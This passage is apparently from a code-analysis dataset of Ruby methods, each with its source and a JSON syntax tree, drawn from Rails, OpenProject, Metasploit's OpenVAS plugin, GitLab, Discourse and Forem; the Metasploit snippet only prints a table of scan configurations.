{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/path/pattern.rb","start_line":127,"raw_source":"def initialize(names, offsets, match)\n            @names   = names\n            @offsets = offsets\n            @match   = match\n          end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"names\"]},{\"type\":\"arg\",\"children\":[\"offsets\"]},{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@names\",{\"type\":\"lvar\",\"children\":[\"names\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@offsets\",{\"type\":\"lvar\",\"children\":[\"offsets\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@match\",{\"type\":\"lvar\",\"children\":[\"match\"]}]}]}]}","id":"955cad00-ebb0-419d-988e-5b2bc2effe19"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/costs/app/models/time_entry.rb","start_line":121,"raw_source":"def entity=(value)\n    if value.is_a?(String) && value.starts_with?(\"gid://\")\n      super(GlobalID::Locator.locate(value, only: ALLOWED_ENTITY_TYPES.map(&:safe_constantize)))\n    else\n      super\n    end\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"entity=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"gid://\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"Locator\"]},\"locate\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"only\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_ENTITY_TYPES\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"safe_constantize\"]}]}]}]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"289be6bc-d648-48db-b86d-9f9648bced4e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/openvas.rb","start_line":410,"raw_source":"def cmd_openvas_config_list(*_args)\n        return unless openvas?\n\n        begin\n          tbl = Rex::Text::Table.new(\n            'Columns' => [ 'ID', 'Name' ]\n          )\n\n          @ov.config_get_all.each do |config|\n            tbl << [ config['id'], config['name'] ]\n          end\n          print_good('OpenVAS list of configs')\n          print_line\n          print_line tbl.to_s\n          print_line\n        rescue OpenVASOMP::OMPError => e\n          print_error(e.to_s)\n        end\n      end","complexity_score":23.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_openvas_config_list\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"openvas?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tbl\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ID\"]},{\"type\":\"str\",\"children\":[\"Name\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ov\"]},\"config_get_all\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"str\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"OpenVAS list of configs\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tbl\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenVASOMP\"]},\"OMPError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]}]},null]}]}]}]}","id":"5d2f109c-4652-477d-b736-1d124ff7cc7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/users/visitable.rb","start_line":12,"raw_source":"def self.visits_around(entity_id:, user_id:, time:)\n        time = time.to_datetime\n        where(entity_id: entity_id, user_id: user_id, visited_at: (time - 15.minutes)..(time + 15.minutes))\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"visits_around\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"entity_id\"]},{\"type\":\"kwarg\",\"children\":[\"user_id\"]},{\"type\":\"kwarg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_datetime\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"entity_id\"]},{\"type\":\"lvar\",\"children\":[\"entity_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"lvar\",\"children\":[\"user_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visited_at\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[15]},\"minutes\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[15]},\"minutes\"]}]}]}]}]}]}]}]}]}","id":"68bba8e1-c8fa-4cea-a41f-0dd6994a3760"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/concerns/reports/users_by_type.rb","start_line":7,"raw_source":"def report_users_by_type(report)\n      report.data = []\n\n      report.modes = [Report::MODES[:table]]\n\n      report.dates_filtering = false\n\n      report.labels = [\n        { property: :x, title: I18n.t(\"reports.users_by_type.labels.type\") },\n        { property: :y, type: :number, title: I18n.t(\"reports.default.labels.count\") },\n      ]\n\n      label = Proc.new { |x| I18n.t(\"reports.users_by_type.xaxis_labels.#{x}\") }\n      url = Proc.new { |key| \"/admin/users/list/#{key}\" }\n\n      admins = User.real.admins.count\n      if admins > 0\n        report.data << {\n          url: url.call(\"admins\"),\n          icon: \"shield-halved\",\n          key: \"admins\",\n          x: label.call(\"admin\"),\n          y: admins,\n        }\n      end\n\n      moderators = User.real.moderators.count\n      if moderators > 0\n        report.data << {\n          url: url.call(\"moderators\"),\n          icon: \"shield-halved\",\n          key: \"moderators\",\n          x: label.call(\"moderator\"),\n          y: moderators,\n        }\n      end\n\n      suspended = User.real.suspended.count\n      if suspended > 0\n        report.data << {\n          url: url.call(\"suspended\"),\n          icon: \"ban\",\n          key: \"suspended\",\n          x: label.call(\"suspended\"),\n          y: suspended,\n        }\n      end\n\n      silenced = User.real.silenced.count\n      if silenced > 0\n        report.data << {\n          url: url.call(\"silenced\"),\n          icon: \"ban\",\n          key: \"silenced\",\n          x: label.call(\"silenced\"),\n          y: silenced,\n        }\n      end\n    end","complexity_score":60.5,"ast_json":"{\"type\":\"def\",\"children\":[\"report_users_by_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"report\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"data=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"modes=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Report\"]},\"MODES\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"table\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"dates_filtering=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"labels=\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"sym\",\"children\":[\"x\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"reports.users_by_type.labels.type\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"sym\",\"children\":[\"y\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"reports.default.labels.count\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"label\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reports.users_by_type.xaxis_labels.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/admin/users/list/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"admins\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"real\"]},\"admins\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"admins\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"data\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"call\",{\"type\":\"str\",\"children\":[\"admins\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"shield-halved\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"admins\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"call\",{\"type\":\"str\",\"children\":[\"admin\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"lvar\",\"children\":[\"admins\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"moderators\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"real\"]},\"moderators\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"moderators\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"data\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"call\",{\"type\":\"str\",\"children\":[\"moderators\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"shield-halved\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"moderators\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"call\",{\"type\":\"str\",\"children\":[\"moderator\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"lvar\",\"children\":[\"moderators\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"suspended\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"real\"]},\"suspended\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suspended\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"data\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"call\",{\"type\":\"str\",\"children\":[\"suspended\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"ban\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"suspended\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"call\",{\"type\":\"str\",\"children\":[\"suspended\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"lvar\",\"children\":[\"suspended\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"silenced\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"real\"]},\"silenced\"]},\"count\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"silenced\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"report\"]},\"data\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"call\",{\"type\":\"str\",\"children\":[\"silenced\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"str\",\"children\":[\"ban\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"str\",\"children\":[\"silenced\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},\"call\",{\"type\":\"str\",\"children\":[\"silenced\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"y\"]},{\"type\":\"lvar\",\"children\":[\"silenced\"]}]}]}]},null]}]}]}","id":"a970bc78-29df-4c4c-9b10-ddde69b2a76c"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_options_test.rb","start_line":283,"raw_source":"def test_ordered_options_to_s\n    object = ActiveSupport::OrderedOptions.new\n    assert_equal \"{}\", object.to_s\n\n    object.one = \"first value\"\n    object[:two] = \"second value\"\n    object[\"three\"] = \"third value\"\n\n    assert_equal({ one: \"first value\", two: \"second value\", three: \"third value\" }.inspect, object.to_s)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ordered_options_to_s\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"object\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"OrderedOptions\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"{}\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"one=\",{\"type\":\"str\",\"children\":[\"first value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"two\"]},{\"type\":\"str\",\"children\":[\"second value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"three\"]},{\"type\":\"str\",\"children\":[\"third value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"one\"]},{\"type\":\"str\",\"children\":[\"first value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"two\"]},{\"type\":\"str\",\"children\":[\"second value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"three\"]},{\"type\":\"str\",\"children\":[\"third value\"]}]}]},\"inspect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"to_s\"]}]}]}]}","id":"516768c5-c783-4285-b111-0447196f2d55"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/rate_limit_checker_helper.rb","start_line":9,"raw_source":"def configurable_rate_limits\n    {\n      published_article_creation: {\n        enabled: true,\n        min: 0,\n        placeholder: 9,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.published.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.published.description\")\n      },\n      published_article_antispam_creation: {\n        enabled: true,\n        min: 0,\n        placeholder: 1,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.antispam.title\"),\n        description: RateLimitCheckerHelper.new_user_message(I18n.t(\"helpers.rate_limit_checker_helper.thing.posts\"))\n      },\n      article_update: {\n        enabled: true,\n        min: 1,\n        placeholder: 30,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.update.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.update.description\")\n      },\n      image_upload: {\n        enabled: true,\n        min: 0,\n        placeholder: 9,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.upload.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.upload.description\")\n      },\n      user_update: {\n        enabled: true,\n        min: 1,\n        placeholder: 5,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.user.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.user.description\")\n      },\n      follow_count_daily: {\n        enabled: true,\n        min: 0,\n        placeholder: 500,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.follow.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.follow.description\")\n      },\n      reaction_creation: {\n        enabled: true,\n        min: 1,\n        placeholder: 10,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.reaction.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.reaction.description\")\n      },\n      feedback_message_creation: {\n        enabled: true,\n        min: 1,\n        placeholder: 5,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.feedback.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.feedback.description\")\n      },\n      comment_creation: {\n        enabled: true,\n        min: 0,\n        placeholder: 9,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.comment.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.comment.description\")\n      },\n      comment_antispam_creation: {\n        enabled: true,\n        min: 0,\n        placeholder: 1,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.comment_antispam.title\"),\n        description: RateLimitCheckerHelper.new_user_message(I18n.t(\"helpers.rate_limit_checker_helper.thing.comments\"))\n      },\n      mention_creation: {\n        enabled: true,\n        min: 0,\n        placeholder: 7,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.mention.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.mention.description\")\n      },\n      organization_creation: {\n        enabled: true,\n        min: 1,\n        placeholder: 1,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.organization.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.organization.description\")\n      },\n      user_subscription_creation: {\n        enabled: true,\n        min: 0,\n        placeholder: 3,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.subscription.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.subscription.description\")\n      },\n      email_recipient: {\n        enabled: true,\n        min: 0,\n        placeholder: 5,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.recipient.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.recipient.description\")\n      },\n      send_email_confirmation: {\n        enabled: true,\n        min: 1,\n        placeholder: 2,\n        title: I18n.t(\"helpers.rate_limit_checker_helper.confirmation.title\"),\n        description: I18n.t(\"helpers.rate_limit_checker_helper.confirmation.description\")\n      }\n    }\n  end","complexity_score":37.65,"ast_json":"{\"type\":\"def\",\"children\":[\"configurable_rate_limits\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_article_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.published.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.published.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"published_article_antispam_creation\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.antispam.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RateLimitCheckerHelper\"]},\"new_user_message\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.thing.posts\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"article_update\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[30]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.update.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.update.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"image_upload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[9]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.upload.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.upload.description\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_update\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"enabled\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"min\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"int\",\"children\":[5]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"helpers.rate_limit_checker_helper.user.title\"]}]}]},{\"type\":\"pair\",\"children\":[{\